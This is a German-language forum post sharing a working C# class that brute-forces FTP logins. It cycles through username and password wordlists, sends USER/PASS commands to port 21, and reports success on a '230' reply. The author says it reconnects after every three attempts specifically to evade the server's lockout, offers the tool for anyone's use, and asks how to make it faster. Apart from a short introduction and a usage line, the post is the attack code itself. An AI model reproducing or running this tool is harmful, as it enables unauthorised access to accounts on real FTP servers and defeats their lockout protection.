Hallo.
Ich hab hier eine simple Ftp Bruteforceclass (Accounts und Kennwörter werden per yield returnt).
Vielleicht hat jemand dafür Verwendung, eventuell hat auch jemand
Verbesserungsvorschläge (das ist jetzt nicht wirklich extrem schnell von der Verbindung her).
Dass mit der neuen Verbindung nach 3 Versuchen ist, weil man nach 3 Versuchen geblockt wird sonst,
daher muss die Verbindung neu hergestellt werden.
class FtpBrute { private struct Connection { public StreamWriter Wr; public StreamReader Re; public Connection(StreamWriter wrp, StreamReader rep) { this.Wr = wrp; this.Re = rep; } } public void StartBruteForce(String Host, String NicklistPat, String PasslistPat) { Connection conne = FtpConnect(Host); String resp = String.Empty; int i = 0; foreach (String a in GetStrings(NicklistPat)) { foreach (String b in GetStrings(PasslistPat)) { if (i % 3 == 0) { conne = FtpConnect(Host); } conne.Wr.WriteLine(String.Concat("user ", a)); resp = conne.Re.ReadLine(); conne.Wr.WriteLine(String.Concat("pass ", b)); resp = conne.Re.ReadLine(); i++; Console.WriteLine(String.Concat(">> Trying ", a, " with pass ", b)); if (resp.StartsWith("230")) { Console.WriteLine(String.Concat("Successfull! ", a, " ", b)); break; } } } } private Connection FtpConnect(String host) { TcpClient client = new TcpClient(host, 21); NetworkStream con = client.GetStream(); StreamWriter wr = new StreamWriter(con); StreamReader re = new StreamReader(con); wr.AutoFlush = true; String response = re.ReadLine(); return new Connection(wr, re); } private IEnumerable <String> GetStrings(String Pat) { FileStream fs = File.Open(Pat, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); using (StreamReader sw = new StreamReader(fs, Encoding.UTF8)) { while(!sw.EndOfStream) {yield return sw.ReadLine();} } } }
Aufrufen braucht man nur
StartBruteForce("HierderHost", "PfadzurNicklist", "PfadzurPasslist");